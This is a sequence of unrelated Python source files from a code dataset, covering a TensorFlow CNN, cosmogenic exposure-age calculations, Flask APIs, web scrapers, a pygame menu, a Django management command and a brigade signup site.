self.weights([5, 5, 32, 64])\n\t\t\tconv = self.conv(conv1, kernel)\n\t\t\tbias = self.bias([64])\n\t\t\tpreactivation = tf.nn.bias_add(conv, bias)\n\t\t\tconv2 = tf.nn.relu(preactivation, name=scope.name)\n\t\t\tprint (conv2.get_shape())\n\t\t\tself.activation_summary(conv2)\n\n\t\twith tf.variable_scope('conv3') as scope:\n\t\t\tkernel = self.weights([3, 3, 32, 128])\n\t\t\tconv = self.conv(conv1, kernel)\n\t\t\tbias = self.bias([128])\n\t\t\tpreactivation = tf.nn.bias_add(conv, bias)\n\t\t\tconv3 = tf.nn.relu(preactivation, name=scope.name)\n\t\t\tprint (conv3.get_shape())\n\t\t\tself.activation_summary(conv3)\n\n\t\twith tf.variable_scope('local1') as scope:\n\t\t\treshape = tf.reshape(conv3, [-1, 64 * 64 * 128])\n\t\t\tW_fc1 = self.weights([64 * 64 * 128, 1024])\n\t\t\tb_fc1 = self.bias([1024])\n\t\t\tlocal1 = tf.nn.relu(tf.matmul(reshape, W_fc1) + b_fc1, name=scope.name)\n\t\t\tself.activation_summary(local1)\n\t\t\n\t\twith tf.variable_scope('local2_linear') as scope:\n\t\t\tW_fc2 = self.weights([1024, self._num_labels])\n\t\t\tb_fc2 = self.bias([self._num_labels])\n\t\t\tlocal1_drop = tf.nn.dropout(local1, keep_prob)\n\t\t\tlocal2 = tf.nn.bias_add(tf.matmul(local1_drop, W_fc2), b_fc2, name=scope.name)\n\t\t\tself.activation_summary(local2)\n\t\treturn local2\n\t\n\tdef train(self, loss, global_step):\n\t\ttf.summary.scalar('learning_rate', self._learning_rate)\n\t\ttrain_op = tf.train.AdamOptimizer(self._learning_rate).minimize(loss, global_step=global_step)\n\t\treturn train_op\n\t\n\tdef loss(self, logits, labels):\n\t\twith tf.variable_scope('loss') as scope:\n\t\t\tprint (logits.get_shape())\n\t\t\tcross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=labels)\n\t\t\tprint (cross_entropy.get_shape())\n\t\t\tcost = tf.reduce_mean(cross_entropy, name=scope.name)\n\t\t\tprint (cost.get_shape())\n\t\t\ttf.summary.scalar('cost', cost)\n\t\treturn cost\n\t\t\n\tdef predictions(self, logits):\n\t\twith tf.variable_scope('predictions') as scope:\n\t\t\tpredictions=tf.nn.softmax(logits, name='pred')\n\t\t\ttf.summary.scalar('predictions', predictions)\n\t\treturn predictions\n\t\t\n\tdef accuracy(self, logits, y):\n\t\twith tf.variable_scope('accuracy') as scope:\n\t\t\taccuracy = tf.reduce_mean(tf.cast(tf.equal(tf.cast(tf.argmax(logits, 1), dtype=tf.int64), y), dtype=tf.float32),name=scope.name)\n\t\t\ttf.summary.scalar('accuracy', accuracy)\n\t\treturn accuracy\n\t\t\n\tdef conv(self, x, W):\n\t\treturn tf.nn.conv2d(input=x, filter=W, strides=[1, 1, 1, 1], padding='SAME')\n\t\t\t\n\tdef atrous_conv(self, x, W, rate):\n\t\treturn tf.nn.conv2d(input=x, filter=W, rate=rate, padding='SAME')\n\t\t\n\tdef max_pool(self, input, shape, stride):\n\t\treturn tf.nn.max_pool(value=input, ksize=[1, shape, shape, 1], strides=[1, stride, stride, 1], padding='SAME')\n\t\t\t\n\tdef avg_pool(self, shape, stride):\n\t\treturn tf.nn.avg_pool(value=input, ksize=[1, shape, shape, 1], strides=[1, stride, stride, 1], padding='SAME')\n\t\t\n\tdef batch_norm(self, x):\n\t\treturn tf.nn.batch_normalization(value=input)\n\t\t\n\tdef weights(self, shape):\n\t\treturn tf.Variable(tf.truncated_normal(shape=shape, stddev=0.1, dtype=tf.float32), name='weights')\n\t\t\n\tdef bias(self, shape):\n\t\treturn tf.Variable(tf.constant(1., shape=shape, dtype=tf.float32), name='bias')\n\t\t\n\tdef activation_summary(self, var):\n\t\twith tf.name_scope('summaries'):\n\t\t\tmean = tf.reduce_mean(var)\n\t\t\ttf.summary.scalar('mean', mean)\n\t\twith tf.name_scope('stddev'):\n\t\t\tstddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))\n\t\t\ttf.summary.scalar('stddev', stddev)\n\t\t\ttf.summary.scalar('max', tf.reduce_max(var))\n\t\t\ttf.summary.scalar('min', tf.reduce_min(var))\n\t\t\ttf.summary.histogram('histogram', var)","sub_path":"code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"359558808","text":"\"\"\"\n3He functions added so far:\n - Calculate production rate scaling using Stone/Lal scheme (stone_scaling)\n - Calculate exposure age (exposure_age)\n\nNotes:\n - Calculating the exposure age also calculates a scaled production rate by \n a) using available data of production rate in certain locations\n b) scaling it using Stone/Lal scheme\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom .CosmoConstants import he3_production_df\n\n\ndef _stone_lal_coefficients(latitude):\n \"\"\"\n Generate coefficient values for the scaling calculation. \n Parameters are defined only by certain latitude values, therefore, a linear interpolation is used to\n calculate the coefficients for other values.\n\n Args:\n latitude - latitude value in decimals, float\n\n Returns:\n scaling_coefficients: coefficients values, floats list\n\n Reference:\n https://doi.org/10.1029/2000JB900181\n \"\"\"\n\n # definir os pontos a serem usados na interpolação\n _latitudes = [0, 10, 20, 30, 40, 50, 60]\n _a = [31.8518, 34.3699, 40.3153, 42.0983, 56.7733, 69.0720, 71.8733]\n _b = [250.3193, 258.4759, 308.9894, 512.6857, 649.1343, 832.4566, 863.1927]\n _c = [-0.083393, -0.089807, -0.106248, -\n 0.120551, -0.160859, -0.199252, -0.207069]\n _d = [7.4260e-5, 7.9457e-5, 9.4508e-5,\n 1.1752e-4, 1.5463e-4, 1.9391e-4, 2.0127e-4]\n _e = [-2.2397e-8, -2.3697e-8, -2.8234e-8, -\n 3.8809e-8, -5.0330e-8, -6.3653e-8, -6.6043e-8]\n _m = [0.587, 0.600, 0.678, 0.833, 0.933, 1.000, 1.000]\n _constants_list = [_a, _b, _c, _d, _e, _m]\n\n # absolute of latitude\n latitude = np.abs(latitude)\n\n # latitude <= 60 deg\n if np.any(latitude) > 60.0:\n latitude = 60.0\n\n # interpolar os pontos usados\n _a_interp = interp1d(_latitudes, _a)\n _b_interp = interp1d(_latitudes, _b)\n _c_interp = interp1d(_latitudes, _c)\n _d_interp = interp1d(_latitudes, _d)\n _e_interp = interp1d(_latitudes, _e)\n _m_interp = interp1d(_latitudes, _m)\n\n scaling_coefficients = [_a_interp(latitude),\n _b_interp(latitude),\n _c_interp(latitude),\n _d_interp(latitude),\n _e_interp(latitude),\n _m_interp(latitude)]\n\n return scaling_coefficients\n\n\ndef stone_scaling(elevation, latitude):\n \"\"\"\n Calculates the scaling factor proposed by Stone (2000).\n\n Args:\n elevation - elevation in meters, float\n latitude - latitude value in decimals, float\n\n Returns:\n s - scaling factor, float\n\n Reference:\n https://doi.org/10.1029/2000JB900181\n \"\"\"\n # calculation of P\n # P is the pressure based on input elevation\n _Ps = 1013.25 # hPa\n _Ts = 288.15 # K\n _epsilon = 0.0065 # K/m\n _gM_by_R = 0.03417 # k/m\n _z = elevation # m\n\n _log_1 = np.log(_Ts)\n _arg_log2 = _epsilon*_z\n _log_2 = np.log(_Ts - _arg_log2)\n _logarg = _log_1 - _log_2\n _exponent = -(_gM_by_R/_epsilon)*(_logarg)\n\n _Pz = _Ps*np.exp(_exponent)\n\n # scaling equation:\n\n _coefficients = _stone_lal_coefficients(latitude)\n _s1 = _coefficients[0]\n _s2 = _coefficients[1]*np.exp(-_Pz/150)\n _s3 = _coefficients[2]*_Pz\n _s4 = _coefficients[3]*_Pz*_Pz\n _s5 = _coefficients[4]*_Pz*_Pz*_Pz\n s = _s1 + _s2 + _s3 + _s4 + _s5\n\n return s\n\n\ndef exposure_age(sample, concentration, set_production=None, elevation=None, latitude=None, mineral=None, inplace=False):\n \"\"\"\n Calculates exposure age proposed by Phillips & Gosse (2001),\n using Stone (2000) scaling factors.\n\n Args:\n sample - sample dataframe name, string\n concentration - column name in which are stored the concentrations, string\n elevation - elevation in meters, float\n latitude - latitude value in decimals, float\n mineral - target mineral name, string\n\n inplace - if True, creates a new column on the sample dataframe with exposure ages\n\n Returns:\n exp_age - calculated exposure age\n\n References:\n Stone (2000) - https://doi.org/10.1029/2000JB900181\n Phillips & Gosse (2001) - https://doi.org/10.1016/S0277-3791(00)00171-2\n \"\"\"\n # correct output\n if set_production:\n exp_age = sample[concentration]/set_production\n\n # scale calculation\n else:\n\n # scaling production rate\n production_df = he3_production_df()\n scale = stone_scaling(\n sample[elevation].values, sample[latitude].values)\n\n production_rate = production_df.loc[mineral]['production_rate']\n production_scaled = production_rate*scale\n\n # getting total counts\n _total_counts = sample[concentration]\n exp_age = _total_counts/production_scaled\n\n if inplace:\n sample['{}_exposure_age'.format(concentration)] = exp_age\n\n return exp_age\n","sub_path":"chronokit/cosmogenic/He3.py","file_name":"He3.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93655193","text":"from flask import Flask\nfrom flask_restful import Resource, Api\nfrom flask_restful.reqparse import RequestParser\nfrom datetime import datetime\nfrom analytics.analytics import monte_carlo_portfolio_simul\n\nmonte_carlo_request_parser = RequestParser(bundle_errors=False)\n\nmonte_carlo_request_parser.add_argument(\"DaysBack\", type=int, required=False,\n help=\"Number of business days from the specified date to now\")\n\nmonte_carlo_request_parser.add_argument(\"DaysFwd\", type=int, required=False,\n help=\"Number of business days from the specified date to now\")\n\nmonte_carlo_request_parser.add_argument(\"InvestedAmount\", type=int, required=False,\n help=\"Amount invested\", default=10000)\n\nmonte_carlo_request_parser.add_argument(\"NbSimulation\", type=int, required=False,\n help=\"Number of simulation\", default=5)\n\nmonte_carlo_request_parser.add_argument(\"RebalancingFrequency\", type=str, required=False,\n help=\"RebalancingFrequency\")\n\nmonte_carlo_request_parser.add_argument(\"MultiPrecessorRun\", type=int, required=False,\n help=\"MultiPrecessorRun\")\n\nmonte_carlo_request_parser.add_argument(\"TargetAssetWeight\", type=dict, required=False,\n help=\"TargetAssetWeight\")\n\nmonte_carlo_request_parser.add_argument(\"RebalancyFrequency\", type=str, required=False,\n help=\"RebalancyFrequency\", default=\"monthly\")\n\nmonte_carlo_request_parser.add_argument(\"Contribution\", type=dict, required=False,\n help=\"Contribution\")\n\nmonte_carlo_request_parser.add_argument(\"Withdraw\", type=dict, required=False,\n help=\"withdraw\")\n\n\nclass StockPrice(Resource):\n\n def get(self):\n import datetime\n args = monte_carlo_request_parser.parse_args()\n\n start_date = (datetime.date.today() + datetime.timedelta(-3500))\n end_date = (datetime.date.today() + datetime.timedelta(1))\n invested_amount = args['InvestedAmount']\n rebalancing_frequency = args['RebalancyFrequency']\n nb_simul = args['NbSimulation']\n result = monte_carlo_portfolio_simul(\n initial_asset_codes_weight={\"BX4.PA\": 0.3, \"CAC.PA\": 0.4, \"500.PA\": 0.2, \"AIR.PA\": 0.1},\n start_date=start_date,\n invested_amount=invested_amount,\n end_date=end_date,\n nb_simul=nb_simul,\n target_asset_codes_weight={\"BX4.PA\": 0.3, \"CAC.PA\": 0.4, \"500.PA\": 0.2, \"AIR.PA\": 0.1},\n contribution={'amount': 100, 'freq': 'monthly'},\n withdraw={'amount': 100, 'freq': 'yearly'},\n multi_process=True,\n rebalancing_frequency=rebalancing_frequency,\n ret='json'\n )\n return result, 200","sub_path":"api/StockPrice.py","file_name":"StockPrice.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465511172","text":"# -*- coding:utf-8 -*-\nimport urllib3\nimport json\n\nimport sys\n# reload(sys)\n# sys.setdefaultencoding('utf8')\n\n# url = 'https://itunes.apple.com/rss/customerreviews/id=529092160/json'\n\nfor page in range(1,1000):\n url = 'https://itunes.apple.com/rss/customerreviews/page=' + str(page) + '/id=957323480/sortby=mostrecent/json?l=en&&cc=cn'\n\n response = urllib3.urlopen(url)\n\n html = response.read()\n\n json_html = json.loads(html)\n\n json_list = json_html['feed']['entry']\n res_str = ''\n for line in json_list:\n res_str = res_str + line['title']['label'] + \"\\n\"\n\n print(res_str)\n\n with open('/Users/saicao/Desktop/file1.txt', 'a+') as f:\n f.write(res_str)","sub_path":"web/spider/app_store_spider.py","file_name":"app_store_spider.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"199630888","text":"import cnfg\nimport level_zero\nimport pygame\nimport sys\n\n\ndef start_screen_interface():\n\tpygame.init()\n\tworld = pygame.display.set_mode(cnfg.SCREENSIZE)\n\tpygame.display.set_caption('Hard_game_ever 1.0')\n\tworld.fill(cnfg.BACKGROUND_START_SCREEN)\n\ttitle_font = pygame.font.Font(cnfg.TITLE_FONT_PATH, cnfg.SCREENSIZE[0] // 10)\n\tcontent_font = pygame.font.Font(cnfg.CONTENT_FONT_PATH, cnfg.SCREENSIZE[0] // 20)\n\ttitle = title_font.render('You and Me', True, cnfg.TITLE_FONT_COLOR)\n\tcontent = content_font.render('my version', True, cnfg.CONTENT_FONT_COLOR)\n\tinstruction = content_font.render('''press \"s\" to start''', True, (20, 20, 20))\n\tinstruction_1 = content_font.render('''press \"q\" to quit once started''', True, (20, 20, 20))\n\ttitle_rect = title.get_rect()\n\ttitle_rect.midtop = (cnfg.SCREENSIZE[0] // 2, cnfg.SCREENSIZE[1] // 3)\n\tcontent_rect = content.get_rect()\n\tcontent_rect.midtop = (cnfg.SCREENSIZE[0] // 2, cnfg.SCREENSIZE[1] // 2)\n\tinstruction_rect = instruction.get_rect()\n\tinstruction_rect.midtop = (cnfg.SCREENSIZE[0] // 2, cnfg.SCREENSIZE[1] - 100)\n\tinstruction_1_rect = instruction_1.get_rect()\n\tinstruction_1_rect.midtop = (cnfg.SCREENSIZE[0] // 2, cnfg.SCREENSIZE[1] - 60)\n\tworld.blit(title, title_rect)\n\tworld.blit(content, content_rect)\n\tworld.blit(instruction, instruction_rect)\n\tworld.blit(instruction_1, instruction_1_rect)\n\twhile True:\n\t\tkey = pygame.key.get_pressed()\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tpygame.quit()\n\t\t\t\tsys.exit()\n\t\t\tif key[pygame.K_s]:\n\t\t\t\tlevel_zero.main_game_loop(world)\n\t\tpygame.display.update()\n\n\nif __name__ == '__main__':\n\tstart_screen_interface()\n","sub_path":"you&me/Game_start.py","file_name":"Game_start.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419213315","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.11-x86_64/egg/djblets/siteconfig/management/commands/get-siteconfig.py\n# Compiled at: 2019-06-12 01:17:17\nfrom __future__ import unicode_literals\nfrom django.core.management.base import CommandError\nfrom django.utils.translation import ugettext as _\nfrom djblets.siteconfig.models import SiteConfiguration\nfrom djblets.util.compat.django.core.management.base import BaseCommand\n\nclass Command(BaseCommand):\n \"\"\"Displays a setting in the site configuration.\"\"\"\n\n def add_arguments(self, parser):\n \"\"\"Add arguments to the command.\n\n Args:\n parser (object):\n The argument parser to add to.\n \"\"\"\n parser.add_argument(b'--key', action=b'store', dest=b'key', help=_(b'The existing key to display (dot-separated)'))\n\n def handle(self, *args, **options):\n siteconfig = SiteConfiguration.objects.get_current()\n key = options[b'key']\n if key is None:\n raise CommandError(_(b'--key must be provided'))\n path = key.split(b'.')\n node = siteconfig.settings\n valid_key = True\n for item in path[:-1]:\n try:\n node = node[item]\n except KeyError:\n valid_key = False\n\n if valid_key:\n key_basename = path[(-1)]\n if key_basename not in node:\n valid_key = False\n if not valid_key:\n raise CommandError(_(b\"'%s' is not a valid settings key\") % key)\n value = node[key_basename]\n if value is None:\n value = b'null'\n elif isinstance(value, bool):\n if value:\n value = b'true'\n else:\n value = b'false'\n self.stdout.write(b'%s' % value)\n return","sub_path":"pycfiles/Djblets-1.0.12-py2.7/get-siteconfig.py","file_name":"get-siteconfig.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"113231159","text":"import os\nimport platform\nimport sublime\n\nif int(sublime.version()) >= 3000:\n from . import ack\n from . import base\n from . import grep\n from . import git_grep\n from . import the_silver_searcher\n from . import find_str\n\n\ndef can_exec(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n\ndef which(cmd):\n for base in os.getenv('PATH', '').split(os.pathsep):\n path = os.path.join(base, cmd)\n if can_exec(path):\n return path\n\n return None\n\n\nclass fastest:\n @classmethod\n def engine_class(cls, *args, **kwargs):\n if platform.system() == 'Windows':\n best = find_str.engine_class(*args, **kwargs)\n else:\n best = grep.engine_class(*args, **kwargs)\n\n for other in (grep, git_grep, ack, the_silver_searcher):\n c = other.engine_class(*args, **kwargs)\n if which(c.path_to_executable):\n best = c\n\n print('best was:', best)\n return best\n\n\n# __all__ = [\"base\", \"grep\", \"ack\", \"the_silver_searcher\", \"git_grep\"]\n","sub_path":"searchengines/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24961543","text":"from bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport numpy as np\n\nimport lib.Climate_Common as Climate_Common\nfrom lib.csv import csv_process\n\nclass Hourly_Climate_Crawler:\n\tdef __init__(self, climate_station):\n\t\tself.climate_station = climate_station\n\t\tself.reserved_columns = ['Temperature', 'Humidity', 'SunShine_hr', 'SunShine_MJ']\n\n\tdef get_station_climate_data(self, station_id, periods):\n\t\tstation_area = self.climate_station.get_station_area(station_id)\n\t\tclimate_df = pd.DataFrame()\n\t\trecord_start_period = None\n\t\trecord_end_period = None\n\t\tnumber_of_crawls = 0\n\n\t\tfor period in periods:\n\t\t\thourly_climate_url = self.climate_station.get_hourly_full_url(period, station_id)\n\t\t\ttemp_df = self.catch_climate_data(hourly_climate_url)\n\n\t\t\t# 如果沒有任何資料就不儲存\n\t\t\tif temp_df is None:\n\t\t\t\tbreak\n\n\t\t\ttemp_df = self.data_preprocess(temp_df, period, station_area)\n\n\t\t\t# 記錄爬蟲 log (最後一筆的 Reporttime)\n\t\t\tif self.is_twenty_three_oclock(temp_df):\n\t\t\t\tif number_of_crawls == 0:\n\t\t\t\t\trecord_start_period = period\n\n\t\t\t\tnumber_of_crawls += 1\n\t\t\t\trecord_end_period = period\n\t\t\telse:\n\t\t\t\tbreak\n\n\t\t\tclimate_df = pd.concat([climate_df, temp_df], ignore_index=True)\n\n\t\tfile_name = 'hourly_climate/data_{}.csv'.format(station_id)\n\t\tif climate_df.empty:\n\t\t\tcsv_process.delete_csv(file_name)\n\t\t\trecord_start_period = None\n\t\t\trecord_end_period = None\n\t\telse:\n\t\t\tcsv_process.to_csv(climate_df, file_name)\n\t\treturn record_start_period, record_end_period\n\n\tdef data_preprocess(self, df, period, station_area):\n\t\tdf['Reporttime'] = period + ' ' + df['Hour'] + ':00'\n\t\tdf['Area'] = station_area\n\t\tdf['UUID'] = period + '_' + df['Hour'] + '_' + df['Area']\n\n\t\t# 將欄位重新排序成 DB 的欄位順序\n\t\tnew_index = ['UUID', 'Area'] + self.reserved_columns + ['Reporttime']\n\t\tdf = df.drop(['Hour'], axis=1)\\\n\t\t\t .reindex(new_index, axis=1)\n\t\treturn df\n\n\t# 是否有 23:00 這筆資料\n\tdef is_twenty_three_oclock(self, df):\n\t\trecord_period = df.iloc[-1]['Reporttime']\n\t\treturn record_period.endswith('23:00')\n\n\tdef catch_climate_data(self, url):\n\t\treq = requests.get(url)\n\t\tsoup = BeautifulSoup(req.text, 'lxml')\n\n\t\tdata_info = soup.find(class_='imp').text\n\t\tif data_info == '本段時間區間內無觀測資料。':\n\t\t\treturn None\n\t\telse:\n\t\t\t# 保留欄位德 index\n\t\t\treserved_columns_index = [0, 3, 5, 12, 13]\n\t\t\t# return: {0: 'Day', 3: 'Temperature', 5: 'Humidity', ... }\n\t\t\trename_columns = dict(zip(reserved_columns_index, ['Hour'] + self.reserved_columns))\n\n\t\t\t# iloc[3:, reserved_columns_index] 中的 '3:' 是刪除前 3 列 (index: 0 ~ 2)\n\t\t\t# 將資料內的 '/' 和 'X' 設為 NA\n\t\t\t# 只要 subset 這些欄位全部都 NA 才 drop\n\t\t\tclimate_table = soup.find(id='MyTable')\n\t\t\tclimate_df = pd.read_html(str(climate_table))[0]\\\n\t\t\t\t\t\t .iloc[3:, reserved_columns_index]\\\n\t\t\t\t\t\t .rename(columns=rename_columns)\\\n\t\t\t\t\t\t .replace('/', np.nan)\\\n\t\t\t\t\t\t\t .replace('X', np.nan) \\\n\t\t\t\t\t\t\t .replace('...', np.nan)\\\n\t\t\t\t\t\t .dropna(subset=self.reserved_columns, how='all')\n\n\t\t\tif climate_df.empty:\n\t\t\t\treturn None\n\n\t\t\t# 將 Hour 欄位原本的 1 ~ 24 改成 '00' ~ '23'\n\t\t\tclimate_df['Hour'] = list(map(lambda hour: str(hour).zfill(2), range(0, 24)))\n\t\t\treturn climate_df","sub_path":"lib/Hourly_Climate_Crawler.py","file_name":"Hourly_Climate_Crawler.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313368454","text":"def sum_n_multiples(a, d, n):\n # sum up n times counting a even if 0\n # right shift by 1 instead of dividing by 2 because\n # python will approximate the division\n return int((n * (2 * a + (n - 1) * d))) >> 1\n\ndef sum_35_multiples(N):\n # d + 2d + ... + kd for k = (n - (n % d)) / d\n # k/2 * (k - 1) * d\n N -= 1\n k3 = int((N - (N % 3)) / 3) + 1 # +1 to count 0\n k5 = int((N - (N % 5)) / 5) + 1 # +1 to count 0\n k15 = int((N - (N % 15)) / 15) + 1 # +1 to count 0\n return sum_n_multiples(0, 3, k3) + sum_n_multiples(0, 5, k5) - sum_n_multiples(0, 15, k15)\n\nt = int(input().strip())\nns = list()\nfor a0 in range(t):\n ns.append(int(input().strip()))\n\nfor n in ns:\n print(sum_35_multiples(n))\n","sub_path":"hackerrank/python3/euler1_fast.py","file_name":"euler1_fast.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100559637","text":"import json\nimport os\nimport re\nfrom requests import get, post\nfrom operator import itemgetter\nfrom urlparse import urlparse\n\nfrom datetime import datetime\nfrom base64 import b64encode\n\nfrom flask import Flask, render_template, request, redirect, url_for, make_response, flash\nimport filters\n\napp = Flask(__name__, static_url_path=\"/brigade/static\")\napp.register_blueprint(filters.blueprint)\n\napp.config['BRIGADE_SIGNUP_SECRET'] = os.environ['BRIGADE_SIGNUP_SECRET']\napp.secret_key = 'SECRET KEY'\n\n@app.context_processor\ndef get_fragments():\n ''' The base template includes the signup form and the footer\n pulled from our main site.\n '''\n # Get universal sign up form\n r = get(\"http://www.codeforamerica.org/fragments/email-signup.html\")\n signup = r.content\n\n # Get footer html\n r = get(\"http://www.codeforamerica.org/fragments/global-footer.html\")\n footer = r.content\n return dict(signup=signup, footer=footer)\n\ndef get_brigades():\n # Get location of all civic tech orgs\n got = get(\"https://www.codeforamerica.org/api/organizations.geojson\")\n geojson = got.json()\n brigades = []\n\n # Prepare the geojson for a map\n for org in geojson[\"features\"]:\n # Add icon info for the map\n org[\"properties\"][\"marker-symbol\"] = \"town-hall\"\n # Official Brigades get to be red\n if \"Official\" in org[\"properties\"][\"type\"]:\n org[\"properties\"][\"marker-color\"] = \"#aa1c3a\"\n else:\n # Other Brigades are grey\n org[\"properties\"][\"marker-color\"] = \"#6D6E71\"\n # Grab only orgs with type Brigade\n if \"Brigade\" in org[\"properties\"][\"type\"]:\n brigades.append(org)\n\n brigades = json.dumps(brigades)\n return brigades\n\n\ndef is_existing_organization(orgid):\n ''' tests that an organization exists on the cfapi'''\n got = get(\"https://www.codeforamerica.org/api/organizations.geojson\").json()\n orgids = [org[\"properties\"][\"id\"] for org in got[\"features\"]]\n return orgid in orgids\n\n\n# Load load projects from the cfapi\ndef get_projects(projects, url, limit=10):\n got = get(url)\n new_projects = got.json()[\"objects\"]\n projects = projects + new_projects\n if limit:\n if len(projects) >= limit:\n return projects\n if \"next\" in got.json()[\"pages\"]:\n projects = get_projects(projects, got.json()[\"pages\"][\"next\"], limit)\n return projects\n\n\n# ROUTES\n@app.route('/brigade/list', methods=[\"GET\"])\ndef brigade_list():\n brigades = get_brigades()\n brigades = json.loads(brigades)\n brigades.sort(key=lambda x: x['properties']['city'])\n return render_template(\"brigade_list.html\", brigades=brigades )\n\n\n@app.route('/brigade/')\ndef index():\n brigades = get_brigades()\n return render_template(\"index.html\", brigades=brigades )\n\n\n@app.route(\"/brigade/signup/\", methods=[\"POST\"])\ndef signup():\n ''' Takes in signup requests from /brigade/signup/form\n Sends the data to a requested mailchimp list, our mailchimp list, and the peopledb\n '''\n\n # Prep mailchimp data\n # mailchimp_data = {\n # 'FNAME' : request.form.get(\"FNAME\"),\n # 'LNAME' : request.form.get(\"LNAME\"),\n # 'EMAIL' : request.form.get(\"EMAIL\")\n # }\n\n # Optionally POST to Brigade's mailchimp\n # mailchimp_url = request.form.get(\"mailchimp_url\", None)\n # brigade_mailchimp_response = None\n # if mailchimp_url:\n # brigade_mailchimp_response = post(mailchimp_url, data=mailchimp_data)\n\n # Always POST to Code for America's mailchimp\n # mailchimp_data['group[10273][8192]'] = '8192' # I attend Brigade events\n\n # cfa_mailchimp_url = \"http://codeforamerica.us2.list-manage.com/subscribe/post-json?u=d9acf2a4c694efbd76a48936f&id=3ac3aef1a5\"\n # cfa_mailchimp_response = post(cfa_mailchimp_url, data=mailchimp_data)\n\n # Always POST to PeopleDB\n peopledb_data = {\n 'first_name' : request.form.get(\"FNAME\"),\n 'last_name' : request.form.get(\"LNAME\"),\n 'email' : request.form.get(\"EMAIL\"),\n 'brigade_id' : request.form.get(\"brigade_id\", None)\n }\n \n auth = app.config['BRIGADE_SIGNUP_SECRET'], 'x-brigade-signup'\n url = 'https://people.codeforamerica.org/brigade/signup'\n\n peopledb_response = post(url, data=peopledb_data, auth=auth)\n\n # Choose a response to show\n # if brigade_mailchimp_response:\n # return brigade_mailchimp_response\n\n # elif cfa_mailchimp_response:\n # return cfa_mailchimp_response.content\n\n if peopledb_response:\n response = {\n \"status_code\" : peopledb_response.status_code,\n \"msg\" : peopledb_response.content\n }\n return json.dumps(response)\n\n else:\n response = {\n \"status_code\" : 500,\n \"msg\" : \"Something went wrong. You were not added to any lists.\"\n }\n return response\n\n\n@app.route(\"/brigade/signup/\", methods=[\"GET\"])\ndef signup_form():\n # Get all of the organizations from the api\n organizations = get('https://www.codeforamerica.org/api/organizations.geojson')\n organizations = organizations.json()\n\n # Filter out just the organization names\n brigades = []\n for org in organizations['features']:\n brigades.append(org['properties']['name'])\n\n # Alphabetize names\n brigades.sort()\n\n return render_template(\"signup.html\", brigades=brigades)\n\n\n@app.route(\"/brigade/numbers/\")\ndef numbers():\n # Get the total number of Brigades\n got = get(\"https://www.codeforamerica.org/api/organizations?type=Brigade&per_page=1\")\n got = got.json()\n brigades_total = got['total']\n\n # Get the official Brigades\n got = get(\"https://www.codeforamerica.org/api/organizations?type=Official&per_page=1\")\n got = got.json()\n official_brigades_total = got['total']\n\n # Get the total number of Code for All Groups\n got = get(\"https://www.codeforamerica.org/api/organizations?type=Code for All&per_page=1\")\n got = got.json()\n cfall_total = got['total']\n\n # Get the total number of Government Groups\n got = get(\"https://www.codeforamerica.org/api/organizations?type=Government&per_page=1\")\n got = got.json()\n government_total = got['total']\n\n # Get number of meetup-members\n got = get(\"http://codeforamerica.org/api/organizations/member_count\")\n got = got.json()\n member_count = got['total']\n\n # Get number of RSVPs\n got = get(\"https://www.codeforamerica.org/api/events/rsvps\")\n got = got.json()\n rsvps = got['total']\n\n # Get number of Attendance\n got = get(\"https://www.codeforamerica.org/api/attendance\")\n got = got.json()\n attendance = got['total']\n\n # Get total number of projects\n got = get(\"https://www.codeforamerica.org/api/projects?only_ids&per_page=1\")\n got = got.json()\n projects = got['objects']\n projects_total = got['total']\n\n # Get total number of Brigade projects\n got = get(\"https://www.codeforamerica.org/api/projects?only_ids&organization_type=Brigade&per_page=1\")\n got = got.json()\n projects = got['objects']\n brigade_projects_total = got['total']\n\n # Get total number of Code for All projects\n got = get(\"https://www.codeforamerica.org/api/projects?only_ids&organization_type=Code for All&per_page=1\")\n got = got.json()\n projects = got['objects']\n cfall_projects_total = got['total']\n\n # Get total number of Government projects\n got = get(\"https://www.codeforamerica.org/api/projects?only_ids&organization_type=Government&per_page=1\")\n got = got.json()\n projects = got['objects']\n gov_projects_total = got['total']\n\n # Get number of Issues\n got = get(\"https://www.codeforamerica.org/api/issues?per_page=1\")\n got = got.json()\n issues_total = got['total']\n\n # Get number of Help Wanted Issues\n got = get(\"https://www.codeforamerica.org/api/issues/labels/help%20wanted?per_page=1\")\n got = got.json()\n help_wanted_total = got['total']\n\n # Get number of civic issue finder clicks\n got = get(\"https://www.codeforamerica.org/geeks/civicissues/analytics/total_clicks\")\n got = got.json()\n total_issue_clicks = got['total_clicks']\n\n\n kwargs = dict(brigades_total=brigades_total, official_brigades_total=official_brigades_total,\n cfall_total=cfall_total, 